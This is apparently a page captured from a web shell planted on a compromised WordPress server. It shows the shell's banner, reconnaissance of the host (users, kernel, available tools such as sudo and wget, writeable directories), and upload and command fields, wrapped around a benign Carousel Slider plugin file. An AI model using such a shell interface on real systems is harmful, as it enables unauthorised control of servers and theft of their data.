403Webshell
Server IP : 172.67.191.97  /  Your IP : 104.23.197.209
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/idead/wp-content/plugins/carousel-slider/modules/VideoCarousel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/idead/wp-content/plugins/carousel-slider/modules/VideoCarousel/Item.php
<?php

namespace CarouselSlider\Modules\VideoCarousel;

use CarouselSlider\Abstracts\Data;

/**
 * Item class
 */
class Item extends Data {
	/**
	 * Default data
	 *
	 * @var string[]
	 */
	protected $defaults = [
		'provider'  => '',
		'url'       => '',
		'video_id'  => '',
		'thumbnail' => '',
	];

	/**
	 * Class constructor
	 *
	 * @param array $data Video item data.
	 */
	public function __construct( array $data = [] ) {
		$this->data = wp_parse_args( $data, $this->defaults );
	}

	/**
	 * Get video provider
	 *
	 * @return string
	 */
	public function get_provider(): string {
		return $this->get_prop( 'provider' );
	}

	/**
	 * Get video id
	 *
	 * @return string|int youtube, vimeo or integer value for self hosted video.
	 */
	public function get_video_id() {
		return $this->get_prop( 'video_id' );
	}

	/**
	 * Get video url
	 *
	 * @return string
	 */
	public function get_url(): string {
		return $this->get_prop( 'url' );
	}

	/**
	 * Get video embed url
	 *
	 * @return string
	 */
	public function get_embed_url(): string {
		if ( 'youtube' === $this->get_provider() ) {
			return sprintf( '//youtube.com/embed/%s?autoplay=1', $this->get_video_id() );
		}
		if ( 'vimeo' === $this->get_provider() ) {
			return sprintf( '//player.vimeo.com/video/%s?autoplay=1', $this->get_video_id() );
		}

		return '//about:blank';
	}

	/**
	 * Get video thumbnail
	 *
	 * @param string $size Image size.
	 *
	 * @return string
	 */
	public function get_thumbnail_url( string $size = 'large' ): string {
		$thumbnail = $this->get_prop( 'thumbnail' );

		return $thumbnail[ $size ] ?? '';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit